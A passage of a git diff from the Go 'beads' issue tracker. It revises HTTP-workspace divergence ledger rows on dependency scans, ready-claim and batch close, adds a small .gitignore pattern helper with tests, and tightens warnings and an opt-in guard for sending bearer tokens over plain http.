cmd/bd invocation; the subprocess parity corpus pins it | | L6 | degrade | — | a pre-run auto-import ATTEMPT reaches an http workspace and fails as a best-effort stderr warning; nothing is imported | THE MECHANISM THIS ROW USED TO NAME DOES NOT EXIST. It said the path was "force-disabled through an import.auto=false env override", and there is no such override anywhere: shouldRunAutoImportJSONL (cmd/bd/main.go) reads the config key, whose default is true (internal/config/config.go), and no http path sets it false. WHAT ACTUALLY HAPPENS is that maybeAutoImportJSONL runs — on any non-read-only, non-global, non-server-mode command — and is stopped by its own guards rather than by a switch: a missing or empty issues.jsonl, the attempt stamp, or the emptiness guard, which is a GetStatistics the server serves. Where all three pass (an empty server beside a non-empty local JSONL) the import is attempted and fails, because the client is not a jsonlImporter and the fallback importer's first write — SetConfig, or CreateIssuesWithFullOptions — is on the unsupported allowlist. The function is documented best-effort, so the failure is an stderr warning and the command proceeds. The DEGRADATION is therefore that nothing imports, which is the outcome the design wanted for the right reason — importing a local JSONL into a shared server is not a pre-run side effect — reached by refusal rather than by configuration. It stays a degrade because the command proceeds and the answer is not narrower or wider than the caller asked for. The retirement path is a real skip on the http backend, so the warning stops being the mechanism | D9 L6, D4 | TODO(S3): a pre-run degradation, observable only through a cmd/bd invocation; the subprocess parity corpus pins it | | L7 | degrade | — | the client-side status/type vocabulary is defaults plus the status.custom/types.custom/types.infra config keys; table-backed customs are invisible client-side | the custom_statuses/custom_types tables have no wire operation; server-side role validation still uses the true vocabulary | D9 L7, D4 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | -| L8 | refuse | `--deps` | `bd list --deps` refuses, and the pretty/--format dependency-decoration arms render undecorated | GetAllDependencyRecords has no wire mapping in v1; listDependencies is an anchored read. --tree is NOT in this row: it defaults true and is `bd list`'s default text rendering | D9 L8, D4 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L8 | degrade | `--deps` | `bd list --deps` and the policy decorator's compatibility fallback for its whole-workspace blocking state (design 3.6) both work, but by a client-side chunked scan rather than a single wire call | GetAllDependencyRecords has no 1:1 wire mapping in v1 — listDependencies is anchored at <=100 ids per call (L12's maxEdgeCountAnchors) — so the client enumerates every issue id (fetchIssuePages) and issues it in chunks, grouping the results itself; this is slower and heavier than a local store's single query, not absent. --tree is NOT in this row: it defaults true and is `bd list`'s default text rendering. The decorator takes that scan for its whole-workspace answers: ready work and its counts, the ready claim, and the single-issue close guard. Its per-issue roles (blocking annotation, the dependency tree, claim, and a batch close without a next claim) build on the client's served roles instead and read only the edges of the issues they name, through the served EdgeReader in chunks under the same cap (internal/storage/externaldeps/remote_roles.go) | D9 L8, D4 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | L9 | degrade | — | credential-bearing settings are unreadable client-side | the server redacts by omission and says so on the wire in Setting.redacted; the client answers absent-WITH-A-REASON rather than the empty string a caller would read as unset | D9 L9 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | L10 | refuse | `--watch` | `bd list --watch` and `bd show --watch` refuse | the loops poll every 2s, each `bd list` tick is a full cursor walk (L2), per-tick errors spam or vanish, and the decoration is refused anyway (L8); N watchers against one server is a request storm its semaphore answers with 503s the loop does not back off from | D9 L10, D10 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | L11 | degrade | — | hooks fire client-side after the server's commit with no shared transaction, on connected workspaces only | the seam sits below HookFiringStore in the client process; a --server-url ephemeral invocation has no hook directory and runs none | D9 L11, D1 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | L12 | refuse | — | an inexpressible filter refuses, never drops — the class rule every E- row below is an instance of | a dropped filter widens a result set invisibly, and the server can only reject parameters it receives | D9 L12, D7 | TestEncoderHonorsEveryTableDisposition | | L13 | degrade | — | pretty `bd ready` shows no parent-epic context | buildParentEpicMap swallows the GetDependencyRecordsForIssues refusal into a nil map; the retirement path is an anchored listDependencies plus per-parent getIssue | D9 L13, D4 | TODO(S3): a pre-run degradation, observable only through a cmd/bd invocation; the subprocess parity corpus pins it | -| L14 | degrade | — | against a server that does NOT advertise issues.claimNext, the composed ReadyClaimer leaves three residues: the ready-at-fetch/claim-at-dial window, a false empty under contention after the bounded refetch, and a claimed row whose CARDINALITIES are as of the listing rather than of the claiming transaction | claimIssue validates claimability, not readiness, so a listing plus a claim is not the local role's one transaction and cannot be made into one. THE ROW IS NARROWER THAN IT WAS. Upstream published POST /v0/beads/issues:claimNext (#5510) and client wave ga-jpywb dials it, so on any server that advertises the token NONE of these three residues exists: selection, the compare-and-set and the hydration share the server's own transaction, an empty front is a 200 with `claimed` absent rather than a lost-races error, and the counts describe the state the claim produced. The whole ReadyClaimer contract tier runs against that leg with nothing parked, which is the measurement that says the residues were the COMPOSITION's rather than the wire's. WHAT KEEPS THE ROW ALIVE is the DOWN-LEVEL leg, which survives on purpose: `bd ready --claim` worked against pre-#5510 servers before this port, and refusing it now would be a regression dressed as progress. It is the posture BatchCloser takes toward issues.batchClose, and it is why this row describes shipped behavior rather than history. The third residue is stated in its IMPLEMENTED form, which is not the one the design anticipated: the design expected a follow-up getIssue to hydrate the counts, and therefore a read that could fail AFTER the claim was durable. The composition takes the counts from the ready page it already fetched instead, so that failure mode does not exist — a claim changes no dependency, dependent or comment count, and what is left is staleness bounded by the same fetch-to-dial window residue (a) already owns. Retirement is no longer an upstream ask but a fleet fact: the row goes when no server this client may meet is older than #5510 | D9 L14, D8 row 4 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L14 | degrade | — | against a server that does NOT advertise issues.claimNext, or on the CLI's chain while any issue in the workspace, closed ones included, holds an unsatisfied external ref, a composed ReadyClaimer leaves three residues: the ready-at-fetch/claim-at-dial window, a false empty under contention after the bounded refetch, and a claimed row whose CARDINALITIES are as of the listing rather than of the claiming transaction | claimIssue validates claimability, not readiness, so a listing plus a claim is not the local role's one transaction and cannot be made into one. THE ROW IS NARROWER THAN IT WAS. Upstream published POST /v0/beads/issues:claimNext (#5510) and client wave ga-jpywb dials it, so on any server that advertises the token NONE of these three residues exists: selection, the compare-and-set and the hydration share the server's own transaction, an empty front is a 200 with `claimed` absent rather than a lost-races error, and the counts describe the state the claim produced. The whole ReadyClaimer contract tier runs against that leg with nothing parked, which is the measurement that says the residues were the COMPOSITION's rather than the wire's. WHAT KEEPS THE ROW ALIVE is the DOWN-LEVEL leg, which survives on purpose: `bd ready --claim` worked against pre-#5510 servers before this port, and refusing it now would be a regression dressed as progress. It is the posture BatchCloser takes toward issues.batchClose, and it is why this row describes shipped behavior rather than history. The third residue is stated in its IMPLEMENTED form, which is not the one the design anticipated: the design expected a follow-up getIssue to hydrate the counts, and therefore a read that could fail AFTER the claim was durable. The composition takes the counts from the ready page it already fetched instead, so that failure mode does not exist — a claim changes no dependency, dependent or comment count, and what is left is staleness bounded by the same fetch-to-dial window residue (a) already owns. A SECOND COMPOSED LEG exists on any server. On the CLI's chain the external-dependency decorator (design 3.6) hands the claim to this role only while no issue in the workspace holds an unsatisfied external ref, because claimNext has no parameter to exclude what that policy refuses. Otherwise it claims down its own filtered ready page through the served Claimer, so all three residues return, the second as a lost-races error (internal/storage/externaldeps/remote_roles.go). A closed holder counts, as it does in every backend's blocking state: it can never be a candidate, so the composed claim picks what the served one would, and leaving it out would cost a status read per holder. A server that advertises wire.CapExternalDependencies enforces the policy itself and never reaches that leg. `bd close --claim-next` takes no composed leg: the decorator refuses it rather than claim after the close commits (F-close). Retirement of the down-level leg is no longer an upstream ask but a fleet fact: it goes when no server this client may meet is older than #5510. The decorator's leg goes with an exclusion parameter on claimNext, or once every server enforces the policy itself | D9 L14, D8 row 4 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | L15 | degrade | — | a --max-rows cap can fire over http on a query whose Limit is at or under the cap, on the `bd list` legs that still walk | locally the effective SQL LIMIT is min(Limit, MaxRows+1), so a window at or under the cap can never exceed it; over http a walk to exhaustion fetches far more than the window and the cap deliberately bounds WIRE ROWS FETCHED — safety wins over exit-code parity on exactly the unbounded walk the cap exists to bound. NARROWED by the same pushdown that narrowed L2: the pushdown leg asks for min(limit, MaxRows+1) rows in one request, which IS the local expression, so a cap at or above the limit can no longer fire there and a request that used to exit 2 now answers. That is a convergence toward the contract, and it is observable — the same command changes from a refusal to a page. THE NARROWING IS SCOPED TO THE ORDERS SQL CAN EXPRESS, and that scope is a correctness bound rather than an optimization left on the table. For a GO-SIDE sort — sqlbuild.IsGoSideSort, today `--sort id`, which needs the natural-numeric comparison (bd-9 before bd-10) no ORDER BY renders — workapi.SQLLimit pushes 0 down instead of the limit, so LOCALLY the window is MaxRows+1 whatever the limit is and the cap fires on the overage even under a limit at or below it. min(limit, MaxRows+1) is therefore NOT the local expression there, and a request bounded by the limit cannot see the overage at all. walkIssues' gate keeps a capped Go-side sort on the walk, where fetching MaxRows+1 wire rows reproduces that unbounded local window exactly and raises the same refusal — so on this one shape the walk leg is the CONVERGENT one and pushing down would have been the divergence. What keeps the row live is the walk legs (unlimited reads, keyset positions, down-level servers), where the old accounting is unchanged and correct, and `bd ready`, which has no pushdown at all | D9 L15, D12 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | L16 | refuse | `--file` | `bd dep add --file` carrying more than 100 edges refuses, naming the wire bound; it is never chunked | maxAddDependencyEdges = 100 (internal/httpapi/dependency_edit.go); chunking is the one path that silently breaks the request's one-transaction/one-history-entry contract, where naive forwarding at least fails loudly | D9 L16, D7, D8 row 18 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | L-close-cap | refuse | — | a batch close naming more than 100 items refuses, naming the wire bound; it is never chunked | maxBatchCloseItems = 100 (internal/httpapi/batch_close.go); the item cap bounds how long one request may hold a write transaction. Chunking is the one path that silently breaks the request's one-transaction/one-history-entry contract — the same reason L16 refuses a bulk dependency add rather than splitting it — so a larger list refuses and the caller splits it, each request atomic on its own | D9 L-close-cap, D7 F-close, D8 row 17 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | @@ -157,7 +157,7 @@ Whole commands, and the flag modes of served commands, that dispatch onto method | F-blocked | refuse | — | `bd blocked` refuses | it is raw GetBlockedIssues, which is on the unsupported allowlist | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | F-count | retired | — | RETIRED — `bd count` is SERVED whole | it said the command refuses because "issueops.Counter has no wire operation; a counts operation is a filed upstream ask", and that ask was DELIVERED: upstream #5508 published countIssues, client wave ga-icks1 wired the Counter accessor, and `count` moved from httpRefusedCommands into httpServedCommands. D8 row 20 and docs/reference/http-workspaces.md have said so since; this row was the last place that did not. Every flag the command publishes reaches a wire member — the whole predicate, the six instant bounds, the three emptiness checks, --include-infra, and the five --by-* flags as the one group_by parameter — so there is no refused mode left to name either. HOW IT ROTTED IS THE PART WORTH KEEPING. Its pin was TestClassifiedRefusedCommandsRefuseBeforeTheOSSPreRun, which walks httpRefusedCommands and drives every entry. The moment `count` left that table the pin stopped covering this row — it stayed LIVE BY NAME, so the well-formedness gate that resolves PinnedBy to a real test kept passing, and DEAD BY COVERAGE, so nothing anywhere asserted the row's claim. A ledger row can be false for a whole wave under a green pin, which is what TestFRowsAgreeWithTheCommandClassification now makes impossible | D7 (RETIRED), D8 row 20 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | F-serve | refuse | — | `bd serve` refuses against an http workspace | the OSS classifier would happily serve it from the opened store, and a bd serve re-serving a remote bd serve is a proxy chain nobody designed: run serve where the database is | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | -| F-close | refuse | — | `bd close` is SERVED whole — single id, several ids and --claim-next — over issues:batchClose; it refuses only against a DOWN-LEVEL server that does not advertise issues.batchClose | the CLI's close front door routes every id, single-id included, through BatchCloser.CloseBatch, and Lifecycle.Close has zero CLI callers at tip. The wire now carries issues:batchClose, so the whole CloseBatchRequest — multi-item and the atomic ClaimNext included — is one wire call and one server-side transaction; nothing is composed or refused where the capability is present. Against a server too old to advertise issues.batchClose, servesBatchClose() reads the handshake snapshot and routes around the batch dial entirely, so no Preflight runs and no wire.ErrCapabilityAbsent is raised: the down-level leg's refuseUnservedCloseShape raises the STORE's own *ErrHTTPUnsupported (batchcloser.go), and cmd/bd's renderEscapedHTTPRefusal turns it into the capability-absent taxonomy (case 2) by scanning the served command's own capability list for the first token the server does not advertise — issues.batchClose, which is the token it then names to upgrade to. The single-item, no-ClaimNext shape still composes onto closeIssue in that down-level leg (see L18); the shapes that cannot compose refuse there. The item cap is L-close-cap | D8 row 17 (resolved, Wire), D9 L18, D9 L-close-cap | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| F-close | refuse | — | `bd close` is SERVED whole — single id and several ids — over issues:batchClose; it refuses against a DOWN-LEVEL server that does not advertise issues.batchClose, and --claim-next refuses against every server, before anything closes | the CLI's close front door routes every id, single-id included, through BatchCloser.CloseBatch, and Lifecycle.Close has zero CLI callers at tip. The wire now carries issues:batchClose, so a CloseBatchRequest of any size is one wire call and one server-side transaction; nothing is composed or refused where the capability is present. THE NEXT CLAIM IS THE EXCEPTION. batchCloseIssues has no member to carry it, so the client refuses a ClaimNext on both legs, after the claim's own validation and before the dial (W-CloseBatchRequest.ClaimNext). Closing and then claiming would split the role's one transaction in two, and a claim that failed after the closes committed could not report them, because the role answers with an error or with outcomes, never both. On the CLI's chain the external-dependency decorator (design 3.6) refuses first unless the server advertises wire.CapExternalDependencies, and its refusal says nothing closed and names the commands that do the same work: close without --claim-next, then `bd ready --claim` (internal/storage/externaldeps/remote_roles.go). Against a server too old to advertise issues.batchClose, servesBatchClose() reads the handshake snapshot and routes around the batch dial entirely, so no Preflight runs and no wire.ErrCapabilityAbsent is raised: the down-level leg's refuseUnservedCloseShape raises the STORE's own *ErrHTTPUnsupported (batchcloser.go), which names the refused shape and the server, and cmd/bd prints it against each id the batch carried. The single-item, no-ClaimNext shape still composes onto closeIssue in that down-level leg (see L18); the shapes that cannot compose refuse there. The item cap is L-close-cap | D8 row 17 (resolved, Wire), D9 L18, D9 L-close-cap | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | F-partial-id | refuse | — | partial-id resolution refuses with its own taxonomy text | SearchIssueIDs has no wire operation, and the client cannot tell a partial id from a full id that does not exist — so the refusal text covers both outcomes rather than falling through to a raw search error | D11 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | ## Ready-request fields diff --git a/internal/gitignore/BUILD.bazel b/internal/gitignore/BUILD.bazel index 1f3a63467..8f2a4c81d 100644 --- a/internal/gitignore/BUILD.bazel +++ b/internal/gitignore/BUILD.bazel @@ -2,14 +2,20 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") go_library( name = "gitignore", - srcs = ["append.go"], + srcs = [ + "append.go", + "ensure.go", + ], importpath = "github.com/steveyegge/beads/internal/gitignore", visibility = ["//:__subpackages__"], ) go_test( name = "gitignore_test", - srcs = ["append_test.go"], + srcs = [ + "append_test.go", + "ensure_test.go", + ], embed = [":gitignore"], ) diff --git a/internal/gitignore/ensure.go b/internal/gitignore/ensure.go new file mode 100644 index 000000000..7d5795cc6 --- /dev/null +++ b/internal/gitignore/ensure.go @@ -0,0 +1,42 @@ +package gitignore + +import ( + "os" + "path/filepath" + "strings" +) + +// EnsurePatternIgnored appends pattern to dir/.gitignore as a standalone line +// if it is not already present (matched exactly, after trimming whitespace, +// against each existing line — the same check +// cmd/bd/doctor.EnsureGitignoreForBeadsDir uses for its own required +// patterns). It creates the file (0600) when it does not exist yet. +// +// This is the minimal sibling of doctor.EnsureGitignoreForBeadsDir, not a +// move of it: that function also owns the full canonical .beads/.gitignore +// template, repairs permissions on an existing file, and covers every +// pattern bd's own on-disk state needs — and the cmd/bd/doctor package as a +// whole pulls in dolt and git-process dependencies through its other files. +// A caller like backend/http, which promises an embedder a minimal dependency +// footprint, cannot import cmd/bd/doctor just for this one line without +// breaking that promise. EnsurePatternIgnored exists so such a caller can +// still make the one guarantee it actually needs — this pattern is never +// offered to `git add` — on its own. The two are complementary and +// idempotent together: a workspace that goes through both ends up with the +// same file either way. +func EnsurePatternIgnored(dir, pattern string) error { + path := filepath.Join(dir, ".gitignore") + content, err := os.ReadFile(path) // #nosec G304 -- caller supplies the active beads dir + if os.IsNotExist(err) { + return os.WriteFile(path, AppendLines(nil, []string{pattern}), 0o600) + } + if err != nil { + return err + } + for _, line := range strings.Split(string(content), "\n") { + if strings.TrimSpace(line) == pattern { + return nil + } + } + return os.WriteFile(path, AppendLines(content, []string{pattern}), 0o600) +} diff --git a/internal/gitignore/ensure_test.go b/internal/gitignore/ensure_test.go new file mode 100644 index 000000000..f1b73e7d7 --- /dev/null +++ b/internal/gitignore/ensure_test.go @@ -0,0 +1,64 @@ +package gitignore + +import ( + "os" + "path/filepath" + "strings" + "testing" +) + +func TestEnsurePatternIgnored(t *testing.T) { + t.Run("creates the file when missing", func(t *testing.T) { + dir := t.TempDir() + if err := EnsurePatternIgnored(dir, "http_target.json"); err != nil { + t.Fatalf("EnsurePatternIgnored: %v", err) + } + body, err := os.ReadFile(filepath.Join(dir, ".gitignore")) + if err != nil { + t.Fatalf("read .gitignore: %v", err) + } + if string(body) != "http_target.json\n" { + t.Errorf(".gitignore = %q, want %q", body, "http_target.json\n") + } + }) + + t.Run("appends when the pattern is missing from an existing file", func(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, ".gitignore") + if err := os.WriteFile(path, []byte("local/\n"), 0o600); err != nil { + t.Fatalf("seed .gitignore: %v", err) + } + if err := EnsurePatternIgnored(dir, "http_target.json"); err != nil { + t.Fatalf("EnsurePatternIgnored: %v", err) + } + body, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read .gitignore: %v", err) + } + if !strings.Contains(string(body), "local/") { + t.Errorf(".gitignore lost its existing content: %q", body) + } + if !strings.Contains(string(body), "http_target.json") { + t.Errorf(".gitignore = %q, want it to contain http_target.json", body) + } + }) + + t.Run("is a no-op when the pattern is already present", func(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, ".gitignore") + original := "local/\nhttp_target.json\n" + if err := os.WriteFile(path, []byte(original), 0o600); err != nil { + t.Fatalf("seed .gitignore: %v", err) + } + if err := EnsurePatternIgnored(dir, "http_target.json"); err != nil { + t.Fatalf("EnsurePatternIgnored: %v", err) + } + body, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read .gitignore: %v", err) + } + if string(body) != original { + t.Errorf(".gitignore changed on a no-op call: got %q, want unchanged %q", body, original) + } + }) +} diff --git a/internal/httpclient/BUILD.bazel b/internal/httpclient/BUILD.bazel index 0a733fb39..5725230b0 100644 --- a/internal/httpclient/BUILD.bazel +++ b/internal/httpclient/BUILD.bazel @@ -24,6 +24,7 @@ go_library( "dial.go", "dispatch.go", "errors.go", + "insecure_credential_guard.go", "journal.go", "leasereclaimer.go", "lifecycle.go", @@ -32,6 +33,7 @@ go_library( "metadata.go", "metadatacas.go", "offrole.go", + "open_with.go", "order.go", "readyclaimer.go", "refusal.go", @@ -108,10 +110,12 @@ go_test( "divergence_test.go", "expected_revision_contract_test.go", "helpers_test.go", + "insecure_credential_guard_test.go", "lifecycle_create_test.go", "lifecycle_update_test.go", "list_sort_test.go", "metadatacas_test.go", + "open_with_test.go", "race_detector_off_test.go", "race_detector_on_test.go", "required_served_tier_test.go", @@ -131,6 +135,7 @@ go_test( "served_detail_reads_test.go", "served_dualrun_test.go", "served_dualwrite_history_test.go", + "served_external_dependency_policy_test.go", "served_graph_aux_test.go", "served_graph_counter_test.go", "served_harness_test.go", @@ -190,6 +195,7 @@ go_test( "//internal/storage/batchfixtures", "//internal/storage/domain", "//internal/storage/embeddeddolt", + "//internal/storage/externaldeps", "//internal/storage/issueops", "//internal/storage/sqlbuild", "//internal/types", diff --git a/internal/httpclient/completeness_test.go b/internal/httpclient/completeness_test.go index 36ee05cd3..4e0d404d4 100644 --- a/internal/httpclient/completeness_test.go +++ b/internal/httpclient/completeness_test.go @@ -250,7 +250,6 @@ var legitimatelyUnsupported = map[string]string{ // refuse on these, which is why they are named in D7's refused class. "DetectCycles": "raw read: role CycleDetector serves this shape", "FindWispDependentsRecursive": "raw read: no recursive-dependents operation", - "GetAllDependencyRecords": "raw read: listDependencies is anchored (L8, `bd list --deps`)", "GetBlockedIssues": "raw read: no blocked-set operation (`bd blocked`)", "GetBlockingInfoForIssues": "raw read: role BlockingAnnotator serves this shape", "GetDependencies": "raw read: role EdgeReader serves this shape", diff --git a/internal/httpclient/credential.go b/internal/httpclient/credential.go index 7be27ad8f..39959e428 100644 --- a/internal/httpclient/credential.go +++ b/internal/httpclient/credential.go @@ -206,16 +206,25 @@ func (p *BearerProvider) resolve(ctx context.Context) (token, source string, err return cred.Value, cred.Source, nil } -// warnInsecure fires once per provider, and only when a token is actually about -// to travel. bd serve has no TLS of its own, so a bearer bound anywhere but -// loopback crosses the network in the clear; that is an operator decision to -// make knowingly, in front of a reverse proxy that terminates TLS. +// warnInsecure fires once per provider, and only when a token is actually +// configured and about to be offered to Authorize's caller. bd serve has no +// TLS of its own, so a bearer bound anywhere but loopback crosses the network +// in the clear if it is sent at all; that is an operator decision to make +// knowingly, in front of a reverse proxy that terminates TLS. +// +// This fires BEFORE guardInsecureCredential (insecure_credential_guard.go) +// gets a chance to refuse the request outright on an unallowed target +// (bee-ghosttrack CHANGES_REQUESTED on #7288, should-fix 2's warning-text +// half): the two layers do not coordinate, so the wording here must stay +// true on EITHER outcome rather than asserting the token is being sent — a +// claim that used to read as misleading immediately above a refusal error +// saying the opposite. func (p *BearerProvider) warnInsecure() { if !p.insecure { return } p.warnOnce.Do(func() { - fmt.Fprintf(p.warnTo, "Warning: sending a bearer token to %s over plain http; the token crosses the network in the clear. Put bd serve behind TLS, or bind it to loopback.\n", p.endpoint) + fmt.Fprintf(p.warnTo, "Warning: a bearer token is configured for %s, which is plain http and not loopback; the token would cross the network in the clear unless refused. Put bd serve behind TLS, bind it to loopback, or accept the risk knowingly (bd connect --allow-plaintext, or BEADS_HTTP_ALLOW_INSECURE=1).\n", p.endpoint) }) } diff --git a/internal/httpclient/dial.go b/internal/httpclient/dial.go index f314dcbc7..e49979d7f 100644 --- a/internal/httpclient/dial.go +++ b/internal/httpclient/dial.go @@ -72,6 +72,17 @@ type DialOptions struct { // an external HTTPClient always goes through one of the two constructors // above, or the normal env-aware resolution. caOverride *resolvedCA + + // AllowInsecureCredential opts THIS dial into sending a credential over + // plain http to a non-loopback target (MED-4, S6 review). Left false, + // DialWith refuses to let a credential cross such a target at all — see + // guardInsecureCredential. connect.go sets this from --allow-plaintext so + // its own Handshake probe honors the same opt-in the CLI flag already + // granted; every other caller defaults to false and relies on the + // process-wide BEADS_HTTP_ALLOW_INSECURE=1 escape hatch instead, since + // Open/OpenReadOnly/OpenWith's callers have no flag of their own to set + // this through. + AllowInsecureCredential bool } // Conn is the store's view of one wire client. @@ -193,6 +204,17 @@ func DialWith(target Target, creds CredentialProvider, opts DialOptions) (*Conn, // refuse. } + // target.AllowInsecureCredential (bee-ghosttrack CHANGES_REQUESTED on + // #7288, should-fix 2) is `bd connect --allow-plaintext`'s grant, + // persisted to the sidecar and scoped to the target it names: it is + // loaded back from there on every ordinary command's dial, not only + // connect's own Handshake probe, so a workspace that connected with the + // flag does not also need BEADS_HTTP_ALLOW_INSECURE=1 set for every + // later `bd` invocation. opts.AllowInsecureCredential stays OR'd in + // alongside it: connect.go sets that field for its own probe from the + // SAME flag before the sidecar carrying it even exists yet. + creds = guardInsecureCredential(target, creds, opts.AllowInsecureCredential || target.AllowInsecureCredential) + client, err := wire.New(target.BaseURL, creds, wire.Options{ HTTPClient: opts.HTTPClient, UserAgent: opts.UserAgent, diff --git a/internal/httpclient/dial_test.go b/internal/httpclient/dial_test.go index 2de4d70d7..fe537aa40 100644 --- a/internal/httpclient/dial_test.go +++ b/internal/httpclient/dial_test.go @@ -181,6 +181,11 @@ func TestDialOptionsForFileBypassesEnvEntirely(t *testing.T) { if err != nil { t.Fatalf("DialOptionsForFile: %v", err) } + // u names the server as "localhost" (so SNI is sent) even though + // startServer actually bound 127.0.0.1; without pinning the dial to + // tcp4, the default dual-stack dialer can race an unrelated ::1 listener + // and flake. See forceIPv4Loopback's doc for the full mechanism. + forceIPv4Loopback(t, opts.HTTPClient.Transport) // Target.CAFile is deliberately left empty, mirroring cmd/bd's connect // verification call. target := Target{BaseURL: u} diff --git a/internal/httpclient/encode/ledger.go b/internal/httpclient/encode/ledger.go index f40002da3..6952cdb9d 100644 --- a/internal/httpclient/encode/ledger.go +++ b/internal/httpclient/encode/ledger.go @@ -320,9 +320,10 @@ func designRows() []Row { PinnedBy: pinnedByS3Conformance, }, { - ID: "L8", Kind: KindRefuse, Flag: "--deps", - What: "`bd list --deps` refuses, and the pretty/--format dependency-decoration arms render undecorated", - Why: "GetAllDependencyRecords has no wire mapping in v1; listDependencies is an anchored read. --tree is NOT in this row: it defaults true and is `bd list`'s default text rendering", + ID: "L8", Kind: KindDegrade, Flag: "--deps", + What: "`bd list --deps` and the policy decorator's compatibility fallback for its whole-workspace blocking state (design 3.6) both work, but by a client-side chunked scan rather than a single wire call", + Why: "GetAllDependencyRecords has no 1:1 wire mapping in v1 — listDependencies is anchored at <=100 ids per call (L12's maxEdgeCountAnchors) — so the client enumerates every issue id (fetchIssuePages) and issues it in chunks, grouping the results itself; this is slower and heavier than a local store's single query, not absent. --tree is NOT in this row: it defaults true and is `bd list`'s default text rendering. " + + "The decorator takes that scan for its whole-workspace answers: ready work and its counts, the ready claim, and the single-issue close guard. Its per-issue roles (blocking annotation, the dependency tree, claim, and a batch close without a next claim) build on the client's served roles instead and read only the edges of the issues they name, through the served EdgeReader in chunks under the same cap (internal/storage/externaldeps/remote_roles.go)", SpecRow: "D9 L8, D4", PinnedBy: pinnedByS3Conformance, }, @@ -368,12 +369,13 @@ func designRows() []Row { }, { ID: "L14", Kind: KindDegrade, - What: "against a server that does NOT advertise issues.claimNext, the composed ReadyClaimer leaves three residues: the ready-at-fetch/claim-at-dial window, a false empty under contention after the bounded refetch, and a claimed row whose CARDINALITIES are as of the listing rather than of the claiming transaction", + What: "against a server that does NOT advertise issues.claimNext, or on the CLI's chain while any issue in the workspace, closed ones included, holds an unsatisfied external ref, a composed ReadyClaimer leaves three residues: the ready-at-fetch/claim-at-dial window, a false empty under contention after the bounded refetch, and a claimed row whose CARDINALITIES are as of the listing rather than of the claiming transaction", Why: "claimIssue validates claimability, not readiness, so a listing plus a claim is not the local role's one transaction and cannot be made into one. " + "THE ROW IS NARROWER THAN IT WAS. Upstream published POST /v0/beads/issues:claimNext (#5510) and client wave ga-jpywb dials it, so on any server that advertises the token NONE of these three residues exists: selection, the compare-and-set and the hydration share the server's own transaction, an empty front is a 200 with `claimed` absent rather than a lost-races error, and the counts describe the state the claim produced. The whole ReadyClaimer contract tier runs against that leg with nothing parked, which is the measurement that says the residues were the COMPOSITION's rather than the wire's. " + "WHAT KEEPS THE ROW ALIVE is the DOWN-LEVEL leg, which survives on purpose: `bd ready --claim` worked against pre-#5510 servers before this port, and refusing it now would be a regression dressed as progress. It is the posture BatchCloser takes toward issues.batchClose, and it is why this row describes shipped behavior rather than history. " + "The third residue is stated in its IMPLEMENTED form, which is not the one the design anticipated: the design expected a follow-up getIssue to hydrate the counts, and therefore a read that could fail AFTER the claim was durable. The composition takes the counts from the ready page it already fetched instead, so that failure mode does not exist — a claim changes no dependency, dependent or comment count, and what is left is staleness bounded by the same fetch-to-dial window residue (a) already owns. " + - "Retirement is no longer an upstream ask but a fleet fact: the row goes when no server this client may meet is older than #5510", + "A SECOND COMPOSED LEG exists on any server. On the CLI's chain the external-dependency decorator (design 3.6) hands the claim to this role only while no issue in the workspace holds an unsatisfied external ref, because claimNext has no parameter to exclude what that policy refuses. Otherwise it claims down its own filtered ready page through the served Claimer, so all three residues return, the second as a lost-races error (internal/storage/externaldeps/remote_roles.go). A closed holder counts, as it does in every backend's blocking state: it can never be a candidate, so the composed claim picks what the served one would, and leaving it out would cost a status read per holder. A server that advertises wire.CapExternalDependencies enforces the policy itself and never reaches that leg. `bd close --claim-next` takes no composed leg: the decorator refuses it rather than claim after the close commits (F-close). " + + "Retirement of the down-level leg is no longer an upstream ask but a fleet fact: it goes when no server this client may meet is older than #5510. The decorator's leg goes with an exclusion parameter on claimNext, or once every server enforces the policy itself", 